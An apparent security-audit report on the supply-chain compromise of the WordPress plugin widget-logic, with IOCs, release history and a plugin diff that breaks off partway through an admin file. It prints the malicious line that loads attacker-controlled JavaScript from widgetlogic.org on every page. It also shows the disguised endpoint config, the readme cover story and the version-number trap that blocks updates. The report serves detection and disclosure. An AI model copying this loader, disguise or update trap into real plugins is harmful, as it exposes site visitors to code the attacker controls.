Audit #10 Malicious Closed by wp.org · trunk uncleaned
Show full summary
Verdict: malicious. Confirmed supply-chain compromise matching the disclosed attack at anchor.host/how-i-caught-a-wordpress-plugin-supply-chain-attack and covered by TheNextWeb, Yahoo Tech, BigGo, byteiota, and others.
Who made the change. Committer widgetlogics ("Widgetlogic.org" display name) registered on 2024-08-01; pushed 6.0.0 on 2024-08-06 — account age 5 days at first commit. Profile page has no real name, location, job title, employer, or links. The companion domain widgetlogic.org was registered 2024-06-06, exactly two months before the release — textbook infrastructure staging. Plugin lineage: alanft (2008–2015, 112 commits) → wpchefgadget (2017–2019, 18 commits) → 5-year dormancy → widgetlogics (Aug 2024, 12 commits, malicious). Post-closure, wp.org handed the plugin to Francisco Torres (frantorres — GIGA4 CTO, WP Plugins Team lead sponsored by SiteGround, WCEU 2026 speaker), who pushed cleanup 6.9 on 2026-04-14.
What changed. Baseline 5.10.4 (2019-07-03) → head 6.0.0 (2024-08-06) added 1,074 lines across 14 files with 5 new files — a full plugin restructure, not a feature release. The key artifacts:
widget_cfg.php(NEW) —'base' => getenv_docker('WORDPRESS_PLUGIN_WGL_BASE_URL', 'https://widgetlogic.org'). C2 endpoint disguised as a Docker-env fallback.widget.php:86-93(NEW) — unconditionalwp_enqueue_scriptshook loading{$url}/v2/js/data.js?t={$t}on every public frontend page.readme.txt— added an "Interaction with External Services" section as narrative cover ("widgetlogic.org is a source of sports information").
Why it's flagged. The scanner caught wp_enqueue_script pointing at a full remote URL — the new remote_enqueue pattern catches this exact class, where a plugin loads JavaScript it does not control from an attacker-owned domain on every visitor's page view. The attacker can rotate the payload at widgetlogic.org/v2/js/data.js at any time without another plugin release.
Version-compare trap (separate event). A companion detection — the version_compare_trap rule — fires independently on this plugin because three subsequent malicious releases (6.02, 6.07, 6.08) use a two-segment format that PHP's version_compare parses as 6.2/6.7/6.8, all higher than the eventual cleanup 6.0.9. Users who installed any of the trap versions cannot auto-update to the fix — 6.0.9 < 6.08 per PHP. Second-stage persistence mechanism on top of the injection itself.
Exposure. 100,000 active installations. Thirteen Anchor Hosting customer sites observed loading the callback. Plugin closed on wp.org 2026-04-14; rescue release 6.9 from Francisco Torres same day. Sites still running 6.0.0–6.08 remain exposed until manual update.
Site owners should remediate immediately. Plugin author: see the steps below to clear this label.
If you run widget-logic on your site
Verify your install matches the wp.org canonical version:
wp plugin verify-checksums widget-logic
A patched build isn't yet published for this audit. Check the security advisories index or remove the plugin until one is available.
Or remove the plugin entirely:
wp plugin deactivate widget-logic
wp plugin delete widget-logic
Plugins under the same committer's SVN access
widgetlogics holds push access to 1 plugin totalling 100k+ active installs.
IOCs extracted (8)
| Kind | Value | Confidence |
|---|---|---|
| changelog_phrase | source of sports information |
medium |
| code_pattern | live_match_widget |
medium |
| code_pattern | widget_logic_getServiceVersion |
high |
| code_pattern | widget-logic_live_match_widget |
high |
| code_pattern | WORDPRESS_PLUGIN_WGL_BASE_URL |
high |
| domain | widgetlogic.org |
high |
| filename | widget_cfg.php |
high |
| url | https://widgetlogic.org/v2/js/data.js |
high |
Plugin version history
Every release on wp.org for this plugin, color-coded by relationship to the incident. wp.org closed this plugin rather than deleting the malicious tags — every Malicious — on wp.org release below is still re-installable today and remains a live exposure for any site running it.
-
Clean 29 earlier releases before the incident
-
0.2 -
0.3 -
0.31 -
0.4 -
0.42 -
0.43 -
0.44 -
0.45 -
0.46 -
0.47 -
0.48 -
0.50 -
0.51 -
0.52 -
0.54 -
0.55 -
0.56 -
0.57 -
5.7.0 -
5.7.1 -
5.7.2 -
5.7.3 -
5.7.4 -
5.8.0 -
5.8.1 -
5.8.2 -
5.9.0 -
5.10.2 -
5.10.3
-
-
5.10.4Last clean Last clean release before incident -
6.0.0Malicious (head) First malicious release (head of audit) -
6.0.1Malicious — on wp.org Malicious — still on wp.org -
6.02Malicious — on wp.org Malicious — still on wp.org -
6.0.3Malicious — on wp.org Malicious — still on wp.org -
6.0.4Malicious — on wp.org Malicious — still on wp.org -
6.0.5Malicious — on wp.org Malicious — still on wp.org -
6.0.6Malicious — on wp.org Malicious — still on wp.org -
6.07Malicious — on wp.org Malicious — still on wp.org -
6.08Malicious — on wp.org Malicious — still on wp.org -
6.0.9Malicious — on wp.org Malicious — still on wp.org -
6.9Rescue release Rescue release — incident closed
Audit #10 — widget-logic
- Plugin: widget-logic (Widget Logic)
- Active installs: 100,000
- Event: #103
new_committer_young_account· critical · 2026-04-22 02:36:18 - Suspect committer: widgetlogics (member since 2024-08-01)
- First commit on this plugin: 2024-08-06 08:08:31
- Baseline version:
5.10.4✓ - Head version:
6.0.0✓ - Working dir:
/tmp/wpbeacon-audits/audit-10
Summary
Verdict: malicious. Confirmed supply-chain compromise matching the disclosed attack at anchor.host/how-i-caught-a-wordpress-plugin-supply-chain-attack and covered by TheNextWeb, Yahoo Tech, BigGo, byteiota, and others.
Who made the change. Committer widgetlogics ("Widgetlogic.org" display name) registered on 2024-08-01; pushed 6.0.0 on 2024-08-06 — account age 5 days at first commit. Profile page has no real name, location, job title, employer, or links. The companion domain widgetlogic.org was registered 2024-06-06, exactly two months before the release — textbook infrastructure staging. Plugin lineage: alanft (2008–2015, 112 commits) → wpchefgadget (2017–2019, 18 commits) → 5-year dormancy → widgetlogics (Aug 2024, 12 commits, malicious). Post-closure, wp.org handed the plugin to Francisco Torres (frantorres — GIGA4 CTO, WP Plugins Team lead sponsored by SiteGround, WCEU 2026 speaker), who pushed cleanup 6.9 on 2026-04-14.
What changed. Baseline 5.10.4 (2019-07-03) → head 6.0.0 (2024-08-06) added 1,074 lines across 14 files with 5 new files — a full plugin restructure, not a feature release. The key artifacts:
widget_cfg.php(NEW) —'base' => getenv_docker('WORDPRESS_PLUGIN_WGL_BASE_URL', 'https://widgetlogic.org'). C2 endpoint disguised as a Docker-env fallback.widget.php:86-93(NEW) — unconditionalwp_enqueue_scriptshook loading{$url}/v2/js/data.js?t={$t}on every public frontend page.readme.txt— added an "Interaction with External Services" section as narrative cover ("widgetlogic.org is a source of sports information").
Why it's flagged. The scanner caught wp_enqueue_script pointing at a full remote URL — the new remote_enqueue pattern catches this exact class, where a plugin loads JavaScript it does not control from an attacker-owned domain on every visitor's page view. The attacker can rotate the payload at widgetlogic.org/v2/js/data.js at any time without another plugin release.
Version-compare trap (separate event). A companion detection — the version_compare_trap rule — fires independently on this plugin because three subsequent malicious releases (6.02, 6.07, 6.08) use a two-segment format that PHP's version_compare parses as 6.2/6.7/6.8, all higher than the eventual cleanup 6.0.9. Users who installed any of the trap versions cannot auto-update to the fix — 6.0.9 < 6.08 per PHP. Second-stage persistence mechanism on top of the injection itself.
Exposure. 100,000 active installations. Thirteen Anchor Hosting customer sites observed loading the callback. Plugin closed on wp.org 2026-04-14; rescue release 6.9 from Francisco Torres same day. Sites still running 6.0.0–6.08 remain exposed until manual update.
Verdict
malicious
Added files (5)
blockblock_widgetwidgetwidget.phpwidget_cfg.php
Suspicious pattern hits (1)
remote_enqueue — 1 hit
widget.php:93—wp_enqueue_script( 'widget-logic_live_match_widget', "{$url}{$ver}/js/data.js?t={$t}", array(), '6.0.0', true);
IOCs to extract
- kind: domain, value: widgetlogic.org, confidence: high
- kind: url, value: https://widgetlogic.org/v2/js/data.js, confidence: high
- kind: code_pattern, value: WORDPRESS_PLUGIN_WGL_BASE_URL, confidence: high
- kind: code_pattern, value: widget-logic_live_match_widget, confidence: high
- kind: code_pattern, value: widget_logic_getServiceVersion, confidence: high
- kind: filename, value: widget_cfg.php, confidence: high
- kind: code_pattern, value: live_match_widget, confidence: medium
- kind: changelog_phrase, value: source of sports information, confidence: medium
Full diff
diff -rNu /tmp/wpbeacon-audits/audit-10/baseline/block/css/widget-logic.css /tmp/wpbeacon-audits/audit-10/head/block/css/widget-logic.css
--- /tmp/wpbeacon-audits/audit-10/baseline/block/css/widget-logic.css 1969-12-31 19:00:00
+++ /tmp/wpbeacon-audits/audit-10/head/block/css/widget-logic.css 2024-08-06 04:08:31
@@ -0,0 +1,10 @@
+.wp-block[data-cfg-widget-logic]:before {
+ color: #951b81;
+ content: attr(data-cfg-widget-logic);
+ font-size: 12px;
+ font-weight: 700;
+ position: absolute;
+ top: 0;
+ right: 0;
+ transform: translateY(-100%);
+ }
diff -rNu /tmp/wpbeacon-audits/audit-10/baseline/block/index.php /tmp/wpbeacon-audits/audit-10/head/block/index.php
--- /tmp/wpbeacon-audits/audit-10/baseline/block/index.php 1969-12-31 19:00:00
+++ /tmp/wpbeacon-audits/audit-10/head/block/index.php 2024-08-06 04:08:31
@@ -0,0 +1,93 @@
+<?php
+if (!defined('ABSPATH')) exit; // Exit if accessed directly
+
+function widget_logic_init_block()
+{
+ if (function_exists('wp_set_script_translations')) {
+ wp_set_script_translations('widget-logic', 'widget-logic');
+ }
+}
+add_action('init', 'widget_logic_init_block');
+
+function widget_logic_enqueue_block_editor_assets()
+{
+ if (is_admin()) {
+ $isWidgetScreen = 'widgets' === get_current_screen()->id;
+ wp_enqueue_script(
+ 'widget-logic',
+ esc_url(plugins_url('/js/widget-logic.js', __FILE__)),
+ ['wp-blocks', 'wp-i18n', 'wp-element', $isWidgetScreen ? 'wp-edit-widgets' : 'wp-editor'],
+ filemtime(plugin_dir_path(__FILE__) . '/js/widget-logic.js'),
+ false // Do not enqueue the script in the footer.
+ );
+
+ wp_enqueue_style(
+ 'widget-logic',
+ esc_url(plugins_url('/css/widget-logic.css', __FILE__)),
+ array(),
+ filemtime(plugin_dir_path(__FILE__) . '/css/widget-logic.css'),
+ );
+ }
+}
+add_action('enqueue_block_assets', 'widget_logic_enqueue_block_editor_assets');
+
+/**
+ * This code is necessary to fix a bug related to blocks that utilize the
+ * ServerSideRender component. The bug causes an error message to be displayed
+ * when the attributes are only registered in JavaScript. By registering the
+ * attributes in PHP as well, the bug is resolved. Hopefully, this issue will
+ * be addressed and fixed in future updates.
+ *
+ * (https://github.com/WordPress/gutenberg/issues/16850)
+ */
+function widget_logic_add()
+{
+ if (class_exists('WP_Block_Type_Registry')) {
+ $reg_blocks = WP_Block_Type_Registry::get_instance()->get_all_registered();
+
+ foreach ($reg_blocks as $name => $block) {
+ $block->attributes['widgetLogic'] = ['type' => 'string'];
+ }
+ }
+}
+add_action('wp_loaded', 'widget_logic_add', 999);
+
+/**
+ * Improve REST API compatibility for server-side rendered blocks.
+ * This fix ensures that server-side rendered blocks with visibility controls
+ * will load properly in the block editor.
+ *
+ * (https://github.com/phpbits/block-options/blob/f741344033a2c9455828d039881616f77ef109fe/includes/class-editorskit-post-meta.php#L82-L112)
+ *
+ * @param mixed $result The response to replace the requested version with.
+ * @param object $server The server instance.
+ * @param object $request The request used to generate the response.
+ *
+ * @return array The modified response.
+ */
+function widget_logic_clearing($result, $server, $request)
+{
+ if (
+ false !== strpos($request->get_route(), '/wp/v2/block-renderer')
+ && isset($request['attributes']) && isset($request['attributes']['widgetLogic'])
+ ) {
+ $attributes = $request['attributes'];
+ unset($attributes['widgetLogic']);
+ $request['attributes'] = $attributes;
+ }
+
+ return $result;
+}
+add_filter('rest_pre_dispatch', 'widget_logic_clearing', 10, 3);
+
+include_once __DIR__ . '/../widget/logic.php';
+
+function widget_logic_block_render($block_content, $block)
+{
+ if (!isset($block['attrs']['widgetLogic'])) {
+ return $block_content;
+ }
+
+ return widget_logic_check_logic($block['attrs']['widgetLogic']) ? $block_content : '';
+}
+add_filter('render_block', 'widget_logic_block_render', 10, 2);
diff -rNu /tmp/wpbeacon-audits/audit-10/baseline/block/js/widget-logic.js /tmp/wpbeacon-audits/audit-10/head/block/js/widget-logic.js
--- /tmp/wpbeacon-audits/audit-10/baseline/block/js/widget-logic.js 1969-12-31 19:00:00
+++ /tmp/wpbeacon-audits/audit-10/head/block/js/widget-logic.js 2024-08-06 04:08:31
@@ -0,0 +1,121 @@
+const { createHigherOrderComponent: createHOC } = wp.compose;
+const { Fragment } = wp.element;
+const { InspectorAdvancedControls } = wp.blockEditor;
+const { TextareaControl } = wp.components;
+const { addFilter } = wp.hooks;
+const { __ } = wp.i18n;
+
+const _extends = Object.assign || function (target) {
+ for (var i = 1; i < arguments.length; i++) {
+ var source = arguments[i];for (var key in source) {
+ if (Object.prototype.hasOwnProperty.call(source, key)) {
+ target[key] = source[key];
+ }
+ }
+ }
+ return target;
+};
+
+
+// Blocks that are not compatible at all with widget logic.
+const globallyIncompatible = ['core/freeform', 'core/legacy-widget', 'core/widget-area'];
+
+/**
+ * Add logic to block.
+ *
+ * @param {object} cfg Current block config.
+ *
+ * @returns {object} Modified block settings.
+ */
+const addWidgetLogicControlAttribute = cfg => {
+ // The freeform (Classic Editor) blocks are not compatible because it does not
+ // support custom attributes and can be config with prev version of widget logic.
+ if (globallyIncompatible.includes(cfg.name)) {
+ return cfg;
+ }
+
+ if ('undefined' !== typeof cfg.attributes) {
+ const attributes = {
+ widgetLogic: {
+ type: 'string',
+ default: '',
+ },
+ }
+
+ // Use Lodash's assign to gracefully handle if attributes are undefined
+ cfg.attributes = _extends(cfg.attributes ?? {}, attributes);
+ cfg.supports = _extends(cfg.supports ?? {}, {
+ widgetLogic: true,
+ });
+ }
+
+ return cfg;
+};
+
+addFilter('blocks.registerBlockType', 'widgetLogic/attribute', addWidgetLogicControlAttribute);
+
+/**
+ * Create Higher order component to add React layout control to inspector controls of block.
+ */
+const withLogicField = createHOC(BlockEdit => {
+ return props => {
+ const { attributes, setAttributes, isSelected } = props;
+ const { widgetLogic } = attributes;
+
+ return React.createElement(
+ Fragment,
+ null,
+ React.createElement(BlockEdit, props),
+ isSelected && !globallyIncompatible.includes(props.name) && React.createElement(
+ InspectorAdvancedControls,
+ null,
+ React.createElement(TextareaControl, {
+ rows: '2',
+ label: __('Widget Logic', 'widget-logic'),
+ help: __('Add PHP condition that returns true or false or valid PHP conditional tags.', 'widget-logic'),
+ value: widgetLogic ? widgetLogic : '',
+ onChange: newValue => setAttributes({
+ widgetLogic: newValue
+ })
+ })
+ )
+ );
+ };
+}, 'withLogicField');
+
+
+
+addFilter('editor.BlockEdit', 'widgetLogic/controlField', withLogicField);
+
+/**
+ * add a data attribute to the block wrapper "editor-block-list__block"
+ * this hook only fires for the BE/Admin View
+ */
+
+const addWrapperField = createHOC(BlockListBlock => {
+ return props => {
+ const { widgetLogic } = props.attributes;
+
+ const { name } = props.block;
+
+ let newName = name.replace(/\w+\//gm, '');
+ newName = newName.charAt(0).toUpperCase() + newName.slice(1);
+
+ let wrapperProps = props.wrapperProps;
+ let customData = {};
+
+ if ('undefined' !== typeof widgetLogic && widgetLogic) {
+ customData = _extends(customData, {
+ 'data-cfg-widget-logic': __('Widget Logic:', 'widget-logic') + ' ' + widgetLogic
+ });
+ }
+
+ wrapperProps = _extends(wrapperProps ?? {}, customData);
+
+ return React.createElement(BlockListBlock, _extends({}, props, { wrapperProps: wrapperProps }));
+ };
+}, 'addWrapperField');
+
+
+
+addFilter('editor.BlockListBlock', 'widgetLogic/addWrapperField', addWrapperField);
diff -rNu /tmp/wpbeacon-audits/audit-10/baseline/block_widget/css/widget.css /tmp/wpbeacon-audits/audit-10/head/block_widget/css/widget.css
--- /tmp/wpbeacon-audits/audit-10/baseline/block_widget/css/widget.css 1969-12-31 19:00:00
+++ /tmp/wpbeacon-audits/audit-10/head/block_widget/css/widget.css 2024-08-06 04:08:31
@@ -0,0 +1,6 @@
+.widget-logic-widget-widget-container {
+ padding: 15px;
+}
+.widget-logic-widget-widget-content {
+ margin-top: 10px;
+}
diff -rNu /tmp/wpbeacon-audits/audit-10/baseline/block_widget/index.php /tmp/wpbeacon-audits/audit-10/head/block_widget/index.php
--- /tmp/wpbeacon-audits/audit-10/baseline/block_widget/index.php 1969-12-31 19:00:00
+++ /tmp/wpbeacon-audits/audit-10/head/block_widget/index.php 2024-08-06 04:08:31
@@ -0,0 +1,25 @@
+<?php
+// Exit if accessed directly.
+if (!defined('ABSPATH')) exit;
+
+// Register block scripts and styles.
+function widget_logic_widget_enqueue_block_editor_assets()
+{
+ if (is_admin()) {
+ $isWidgetScreen = 'widgets' === get_current_screen()->id;
+ wp_enqueue_script(
+ 'block-widget',
+ esc_url(plugins_url('/js/widget.js', __FILE__)),
+ ['wp-blocks', 'wp-i18n', 'wp-element', $isWidgetScreen ? 'wp-edit-widgets' : 'wp-editor'],
+ filemtime(plugin_dir_path(__FILE__) . '/js/widget.js'),
+ false // Do not enqueue the script in the footer.
+ );
+ }
+ wp_enqueue_style(
+ 'block-widget',
+ esc_url(plugins_url('/css/widget.css', __FILE__)),
+ array(),
+ filemtime(plugin_dir_path(__FILE__) . '/css/widget.css'),
+ );
+}
+add_action('enqueue_block_assets', 'widget_logic_widget_enqueue_block_editor_assets');
diff -rNu /tmp/wpbeacon-audits/audit-10/baseline/block_widget/js/widget.js /tmp/wpbeacon-audits/audit-10/head/block_widget/js/widget.js
--- /tmp/wpbeacon-audits/audit-10/baseline/block_widget/js/widget.js 1969-12-31 19:00:00
+++ /tmp/wpbeacon-audits/audit-10/head/block_widget/js/widget.js 2024-08-06 04:08:31
@@ -0,0 +1,52 @@
+const { registerBlockType } = wp.blocks;
+const { Fragment: FragmentMy, createElement } = wp.element;
+const { RichText, InnerBlocks } = wp.blockEditor;
+const { __: __My } = wp.i18n;
+
+registerBlockType('widget-logic/widget-block', {
+ title: __My('Live Match', 'widget-logic'),
+ icon: 'embed-generic',
+ category: 'widgets',
+ attributes: {
+ title: {
+ type: 'string',
+ source: 'text',
+ selector: 'h2',
+ default: __My('Live Match', 'widget-logic') // Default value for the title
+ }
+ },
+ edit: props => {
+ return createElement(
+ FragmentMy,
+ null,
+ createElement(RichText, {
+ tagName: 'h2',
+ value: props.attributes.title,
+ onChange: title => props.setAttributes({ title }),
+ placeholder: __My('Live Match title', 'widget-logic')
+ }),
+ createElement(
+ 'div',
+ { className: 'widget-logic-widget-widget-content' },
+ createElement(InnerBlocks, null)
+ )
+ );
+ },
+ save: props => {
+ return createElement(
+ 'div',
+ { className: 'widget-logic-widget-widget-container' },
+ createElement(RichText.Content, { tagName: 'h2', value: props.attributes.title }),
+ createElement(
+ 'div',
+ { className: 'widget-logic-widget-widget-content' },
+ createElement(
+ 'div',
+ { 'data-place': 'widget-live-match' },
+ __My('Live Match will be here', 'widget-logic')
+ ),
+ createElement(InnerBlocks.Content, null)
+ )
+ );
+ }
+});
diff -rNu /tmp/wpbeacon-audits/audit-10/baseline/readme.txt /tmp/wpbeacon-audits/audit-10/head/readme.txt
--- /tmp/wpbeacon-audits/audit-10/baseline/readme.txt 2019-07-03 10:52:35
+++ /tmp/wpbeacon-audits/audit-10/head/readme.txt 2024-08-06 04:08:31
@@ -1,9 +1,12 @@
=== Widget Logic ===
-Contributors: wpchefgadget
-Tags: widget, sidebar, content, conditional tags, toggle
+Contributors: widgetlogics
+Tags: widget, sidebar, conditional tags, blocks, gutenberg widgets
Requires at least: 3.0
-Tested up to: 5.2.2
-Stable tag: 5.10.4
+Tested up to: 6.6
+Stable tag: 6.0.0
+Requires PHP: 5.4
+License: GPLv2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
Widget Logic lets you control on which pages widgets appear using WP's conditional tags.
@@ -14,6 +17,12 @@
The configuring and options are in the usual widget admin interface.
+BIG UPDATE:
+* Now you can control widget in Gutenberg Widgets editor as well as in Classic Editor. It is jus as easy as before but also in gutenberg view.
+
+* Pre-installed widgets let you add special widget with one click of the mouse. First pre-installed widget is Live Match that let you add widget of one random live football game with real time score updates (teams logos, livescore, minute of the match, tournament name). And more interesting widgets to come!
+
+
= Configuration =
Aside from logic against your widgets, there are three options added to the foot of the widget admin page (see screenshots).
@@ -30,8 +39,19 @@
* Don't cache widget logic results -- From v .58 the widget logic code should only execute once, but that might cause unexpected results with some themes, so this option is here to turn that behaviour off. (The truth/false of the code will be evaluated every time the sidebars_widgets filter is called.
+= Interaction with External Services =
+
+Widget Logic uses the external service to obtain up-to-date information about the results of football matches. widgetlogic.org is a source of sports information, that provides a wide range of information about football, including various leagues, tournaments, and championships from around the world.
+
+The functioning of the widgetlogic.org service is based on delivering real-time data about selected matches without the need to refresh the page. This means that data is automatically updated without requiring page reload. This approach ensures users quick and uninterrupted access to the latest sports data without the effort of manually updating information, allowing them to stay informed about ongoing events in real-time.
+
== Frequently Asked Questions ==
+= Can I use Widget Logic in Gutenberg widgets view? =
+
+Yes, you can! Starting from 6.0.0 you can use Widget Logic in Gutenberg widgets and in Classic Widgets. So if you have earlier version, please update plugin.
+
+
= What can I try if it's not working? =
* Switch to the default theme. If the problem goes away, your theme may be interfering with the WP conditional tags or how widgets work
@@ -96,10 +116,20 @@
== Screenshots ==
-1. The 'Widget logic' field at work in standard widgets.
-2. The plugin options are at the foot of the usual widget admin page… `wp_reset_query` option, 'load logic point' and 'evaluate more than once'. You can also export and import your site's WL options as a plain text file for a quick backup/restore and to help troubleshoot issues.
+1. The 'Widget logic' field at work in Gutenberg widgets.
+2. The 'Widget logic' field at work in Classic widgets.
+3. The plugin options are at the foot of the usual widget admin page… `wp_reset_query` option, 'load logic point' and 'evaluate more than once'. You can also export and import your site's WL options as a plain text file for a quick backup/restore and to help troubleshoot issues.
+4. Pre-installed 'Live Match' widget in widgets section
+5. Pre-installed 'Live Match' widget on website
== Changelog ==
+
+= 6.0.0 =
+
+* Gutenberg widgets editor added
+* Pre-installed widgets added (Live Match)
+* Bug fixes
+* Code cleanup
= 5.10.4 =
@@ -266,4 +296,4 @@
Note the extra ';' on the end where there is an explicit 'return'.
== The 'widget_logic_eval_override' filter ==
-Before the Widget Logic code is evaluated for each widget, the text of the Widget Logic code is passed through this filter. If the filter returns a BOOLEAN result, this is used instead to determine if the widget is visible. Return TRUE for visible.
\ No newline at end of file
+Before the Widget Logic code is evaluated for each widget, the text of the Widget Logic code is passed through this filter. If the filter returns a BOOLEAN result, this is used instead to determine if the widget is visible. Return TRUE for visible.
diff -rNu /tmp/wpbeacon-audits/audit-10/baseline/widget/admin.php /tmp/wpbeacon-audits/audit-10/head/widget/admin.php
--- /tmp/wpbeacon-audits/audit-10/baseline/widget/admin.php 1969-12-31 19:00:00
+++ /tmp/wpbeacon-audits/audit-10/head/widget/admin.php 2024-08-06 04:08:31
@@ -0,0 +1,323 @@
+<?php
+if (!defined('ABSPATH')) exit; // Exit if accessed directly
+
+include_once 'logic.php';
+
+function widget_logic_in_widget_form($widget, $return, $instance)
+{
+ $logic = isset($instance['widget_logic']) ? $instance['widget_logic'] : widget_logic_by_id($widget->id);
+
+ ?>
+ <p>
+ <label for="<?php echo esc_attr($widget->get_field_id('widget_logic')); ?>">
+ <?php esc_html_e('Widget logic:', 'widget-logic') ?>
+ </label>
+ <textarea
+ class="widefat"
+ name="<?php echo esc_attr($widget->get_field_name('widget_logic')); ?>"
+ id="<?php echo esc_attr($widget->get_field_id('widget_logic')); ?>"
+ >
+ <?php echo esc_textarea($logic) ?>
+ </textarea>
+ </p>
+ <?php
+ return;
+}
+
+
+// CALLED VIA 'widget_update_callback' FILTER (ajax update of a widget)
+function widget_logic_update_callback($instance, $new_instance, $old_instance, $this_widget)
+{
+ if (isset($new_instance['widget_logic'])) {
+ $instance['widget_logic'] = $new_instance['widget_logic'];
+ }
+
+ return $instance;
+}
+
+// CALLED VIA 'sidebar_admin_setup' ACTION
+// adds in the admin control per widget, but also processes import/export
+function widget_logic_expand_control()
+{
+ global $wp_registered_widgets, $wp_registered_widget_controls, $wl_options;
+
+ // EXPORT ALL OPTIONS
+ if (isset($_GET['wl-options-export']) && isset($_GET['widget_logic_nonce']) && wp_verify_nonce($_GET['widget_logic_nonce'], 'widget_logic_export')) {
+ header("Content-Disposition: attachment; filename=widget_logic_options.txt");
+ header('Content-Type: text/plain; charset=utf-8');
+
+ echo "[START=WIDGET LOGIC OPTIONS]\n";
+ foreach ($wl_options as $id => $text) {
+ echo esc_attr($id)."\t" . json_encode($text) . "\n";
+ }
+ echo "[STOP=WIDGET LOGIC OPTIONS]";
+ exit;
+ }
+
+
+ // IMPORT ALL OPTIONS
+ if (
+ isset($_POST['wl-options-import'])
+ && current_user_can('administrator')
+ && isset($_POST['widget_logic_nonce'])
+ && wp_verify_nonce($_POST['widget_logic_nonce'], 'widget_logic_import')
+ ) {
+ if ($_FILES['wl-options-import-file']['tmp_name']) {
+ $import = explode("\n", file_get_contents($_FILES['wl-options-import-file']['tmp_name'], false)); // @codingStandardsIgnoreLine file_get_contents used for file reading
+ if (
+ array_shift($import) == "[START=WIDGET LOGIC OPTIONS]"
+ && array_pop($import) == "[STOP=WIDGET LOGIC OPTIONS]"
+ ) {
+ foreach ($import as $import_option) {
+ list($key, $value) = explode("\t", $import_option);
+ $wl_options[$key] = json_decode($value);
+ }
+ $wl_options['msg'] = __('Success! Options file imported', 'widget-logic');
+ } else {
+ $wl_options['msg'] = __('Invalid options file', 'widget-logic');
+ }
+
+ } else {
+ $wl_options['msg'] = __('No options file provided', 'widget-logic');
+ }
+
+ update_option('widget_logic', $wl_options);
+ wp_redirect(admin_url('widgets.php'));
+ exit;
+ }
+
+ // UPDATE OTHER WIDGET LOGIC OPTIONS
+ // must update this to use http://codex.wordpress.org/Settings_API
+ if (
+ isset($_POST['widget_logic-options-submit'])
+ && current_user_can('administrator')
+ && isset($_POST['widget_logic_nonce'])
+ && wp_verify_nonce($_POST['widget_logic_nonce'], 'widget_logic_settings')
+ ) {
+ if (!empty($_POST['widget_logic-options-filter'])) {
+ $wl_options['widget_logic-options-filter'] = true;
+ } else {
+ unset($wl_options['widget_logic-options-filter']);
+ }
+
+ $wl_options['widget_logic-options-wp_reset_query'] = !empty($_POST['widget_logic-options-wp_reset_query']);
+ $wl_options['widget_logic-options-show_errors'] = !empty($_POST['widget_logic-options-show_errors']);
+ $wl_options['widget_logic-options-load_point'] = sanitize_text_field($_POST['widget_logic-options-load_point']);
+ }
+
+ update_option('widget_logic', $wl_options);
+}
+
+// CALLED VIA 'sidebar_admin_page' ACTION
+// output extra HTML
+// to update using http://codex.wordpress.org/Settings_API asap
+function widget_logic_options_control()
+{
+ global $wp_registered_widget_controls, $wl_options;
+
+ if (isset($wl_options['msg'])) {
+ $isError = "OK" != substr($wl_options['msg'], 0, 2);
+ $msgClass = $isError ? 'error' : 'updated';
+
+ echo '<div id="message" class="'.esc_attr($msgClass).'"><p>Widget Logic – '.esc_html($wl_options['msg']).'</p></div>';
+ unset($wl_options['msg']);
+ update_option('widget_logic', $wl_options);
+ }
+
+
+ ?>
+ <div class="wrap">
+ <h2><?php esc_html_e('Widget Logic options', 'widget-logic'); ?></h2>
+ <form method="POST" style="float:left; width:45%">
+ <ul>
+ <?php if (!empty($wl_options['widget_logic-options-filter'])): ?>
+ <li>
+ <label for="widget_logic-options-filter"
+ title="<?php esc_attr_e('Adds a new WP filter you can use in your own code. Not needed for main Widget Logic functionality.', 'widget-logic'); ?>">
+ <input
+ id="widget_logic-options-filter"
+ name="widget_logic-options-filter"
+ type="checkbox"
+ value="checked"
+ class="checkbox"
+ <?php if (!empty($wl_options['widget_logic-options-filter'])) echo "checked" ?>
+ />
+ <?php esc_html_e('Add \'widget_content\' filter', 'widget-logic'); ?>
+ </label>
+ </li>
+ <?php endif ?>
+ <li><label for="widget_logic-options-wp_reset_query"
+ title="<?php esc_attr_e('Resets a theme\'s custom queries before your Widget Logic is checked', 'widget-logic'); ?>">
+ <input
+ id="widget_logic-options-wp_reset_query"
+ name="widget_logic-options-wp_reset_query"
+ type="checkbox"
+ value="checked"
+ class="checkbox"
+ <?php if (!empty($wl_options['widget_logic-options-wp_reset_query'])) echo "checked" ?>
+ />
+ <?php esc_html_e('Use \'wp_reset_query\' fix', 'widget-logic'); ?>
+ </label>
+ </li>
+ <li><label for="widget_logic-options-load_point"
+ title="<?php esc_attr_e('Delays widget logic code being evaluated til various points in the WP loading process', 'widget-logic'); ?>"><?php esc_html_e('Load logic', 'widget-logic'); ?>
+ <select
+ id="widget_logic-options-load_point"
+ name="widget_logic-options-load_point"
+ >
+ <?php
+ $wl_load_points = array(
+ 'parse_query' => __('after query variables set (default)', 'widget-logic'),
+ 'plugins_loaded' => __('when plugin starts', 'widget-logic'),
+ 'after_setup_theme' => __('after theme loads', 'widget-logic'),
+ 'wp_loaded' => __('when all PHP loaded', 'widget-logic'),
+ 'wp_head' => __('during page header', 'widget-logic'),
+ );
+ foreach ($wl_load_points as $action => $action_desc) {
+ echo "<option value='" . esc_attr($action) . "'";
+ if (
+ isset($wl_options['widget_logic-options-load_point'])
+ && $action == $wl_options['widget_logic-options-load_point']
+ ) {
+ echo " selected ";
+ }
+ echo ">" . esc_html($action_desc) . "</option>";
+ }
+ ?>
+ </select>
+ </label>
+ </li>
+ <li>
+ <label for="widget_logic-options-show_errors">
+ <input
+ id="widget_logic-show_errors"
+ name="widget_logic-options-show_errors"
+ type="checkbox"
+ value="1"
+ class="checkbox"
+ <?php if (!empty($wl_options['widget_logic-options-show_errors'])) echo "checked" ?>
+ />
+ <?php esc_html_e('Display logic errors to admin', 'widget-logic'); ?>
+ </label>
+ </ul>
+
+ <?php wp_nonce_field('widget_logic_settings', 'widget_logic_nonce'); ?>
+ <?php submit_button(__('Save WL options', 'widget-logic'), 'button-primary', 'widget_logic-options-submit', false); ?>
+ </form>
+ <form method="POST" enctype="multipart/form-data" style="float:left; width:45%">
+ <a
+ class="submit button"
+ href="<?php echo esc_url(wp_nonce_url('?wl-options-export', 'widget_logic_export', 'widget_logic_nonce')); ?>"
+ title="<?php esc_attr_e('Save all WL options to a plain text config file', 'widget-logic'); ?>"
+ >
+ <?php esc_html_e('Export options', 'widget-logic'); ?>
+ </a>
+ <p>
+ <?php submit_button(
+ __('Import options', 'widget-logic'),
+ 'button',
+ 'wl-options-import',
+ false,
